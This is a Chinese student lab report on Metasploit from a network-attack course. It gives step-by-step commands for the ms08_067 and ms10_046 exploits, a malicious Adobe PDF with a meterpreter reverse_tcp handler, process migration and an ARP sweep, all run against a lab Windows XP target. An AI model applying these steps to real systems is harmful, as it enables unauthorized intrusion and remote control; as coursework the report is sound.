博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
20145228《网络对抗技术》MSF基础应用
阅读量:5291 次
发布时间:2019-06-14

本文共 1763 字,大约阅读时间需要 5 分钟。

实验内容

·掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路

·(1)一个主动攻击,如ms08_067;

(2)一个针对浏览器的攻击,如ms11_050;

(3)一个针对客户端的攻击,如Adobe

(4)成功应用任何一个辅助模块。

基础问题回答

解释什么是exploit,payload,encode.

·exploit:相当于弹壳,将攻击包传输到靶机。

·payload: 抵达靶机后,执行攻击方式

·encode:对需要传输的文件进行编码,使自己免杀

实验过程

(1)ms08_067渗透攻击

·kali进入msf

·输入search ms08_067后可以找到渗透模块

887033-20170416112830693-299213926.png

·然后输入use exploit/windows/smb/ms08_067_netapi进入该模块

887033-20170416112852146-2039371821.png

·show payloads显示有效的攻击载荷

887033-20170416112912615-640431047.png

·show targets显示可以被攻击的靶机操作系统型号

887033-20170416112942631-1215863531.png

·set payload generic/shell_reverse_tcp设置有效攻击载荷

·输入set LHOST "kali Ip" set RHOST "Win xp Ip"设置并show options查看payload状态。

887033-20170416112956584-539937138.png

·输入exploit开始攻击

887033-20170416113007521-1241383559.png

·在kali上执行ipconfig/all

887033-20170416113031318-2010667953.png

·在win xp上执行同样的命令

887033-20170416113041943-2091896654.png

(2)IE浏览器渗透攻击——MS10046安全漏洞

·先利用search ms10_046查看可用攻击模块

·输入命令use windows/browser/ms10_046_shortcut_icon_dllloader,进入该漏洞模块。

·info查看信息:

887033-20170416113230287-1567562791.png

·设置好参数并查看,这里SRVHOST和LHOST都为Kali的IP地址:

887033-20170416113310927-378556045.png

·开始执行,可以看到生成了一个url

887033-20170416113338834-1600260587.png

·在靶机的IE浏览器上使用该url进行访问,在Kali上可以看到

887033-20170416113345412-227879998.png

·使用sessions指令查看当前存在的会话,可以看到存在一个ID为1的会话:

887033-20170416113352834-1978545030.png

·使用sessions -i 1选择会话1

887033-20170416113406427-851652068.png

·获取shell

887033-20170416113411506-498333460.png

(3)Adobe阅读器渗透攻击

·启动msfconsole后输入search adobe寻找可利用漏洞

887033-20170416113445584-889941710.png

·输入use exploit/windows/fileformat/adobe_jbig2decode进入该漏洞模块的使用

·使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。

·设置参数

set FILENAME xxx.pdf

set LHOST "KALI Ip"

set LPORT xxxx

·输入exploit,生成pdf文件

·并可以看到pdf所在文件夹,将pdf复制到靶机里。

·使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。

887033-20170416113455177-1104561587.png

·使用set payload windows/meterpreter/reverse_tcp建立一个反向连接,并将参数设置为攻击模块数据相同

887033-20170416113503302-518067224.png

·使用命令exploit开始攻击,在xp中打开pdf,并用sysinfo查看靶机信息

887033-20170416113514349-2074758060.png

·将进程迁移到explorer.exe.使用ps查看当前进程,并找到explorer.exe的进程号

887033-20170416113522709-592529831.png

·使用命令migrate 1884

887033-20170416113531224-387391388.png

·输入shell,查看xp靶机信息

887033-20170416113545037-1051186459.png

·在靶机xp中使用命令netstat -an,看本地tcp连接。

887033-20170416113550537-1308590042.png

(4)MSF的扫描

·先创建一个msf所需的数据库

887033-20170416113605881-1948334171.png

·进入msf,输入命令use auxiliary/scanner/discovery/arp_sweep进入模块

·使用命令,设置

set interface eth0

set RHOSTS 172.30.1.0/21

set threads 2

·run开启扫描,结果可以看到除了自己主机的IP外,还有其他ip

887033-20170416113613209-433714880.png

·可以ping通,开启nmap扫描,可以看见开启的端口号,以及目标机的操作系统

887033-20170416113619490-443237307.png

实验收获

本次实验更加深入理解了msf的使用,学习到了各种漏洞的寻找以及攻击方式,对于以后防范这些攻击有了基础。

转载于:https://www.cnblogs.com/J000/p/6718298.html

你可能感兴趣的文章
python tkinter GUI绘制,以及点击更新显示图片
查看>>
Spark基础脚本入门实践3:Pair RDD开发
查看>>
HDU4405--Aeroplane chess(概率dp)
查看>>
python使用easyinstall安装xlrd、xlwt、pandas等功能模块的方法
查看>>
CS0103: The name ‘Scripts’ does not exist in the current context解决方法
查看>>
20130330java基础学习笔记-语句_for循环嵌套练习2
查看>>
Spring面试题
查看>>
窥视SP2010--第一章节--SP2010开发者路线图
查看>>
MVC,MVP 和 MVVM 的图示,区别
查看>>
C语言栈的实现
查看>>
代码为什么需要重构
查看>>
TC SRM 593 DIV1 250
查看>>
SRM 628 DIV2
查看>>
2018-2019-2 20165314『网络对抗技术』Exp5:MSF基础应用
查看>>
统计单词,字符,和行
查看>>
jQuery垂直滑动切换焦点图
查看>>
Python-S9-Day127-Scrapy爬虫框架2
查看>>
模运算
查看>>
python多线程的使用
查看>>
团队编程项目作业1-成员简介及分工
查看>>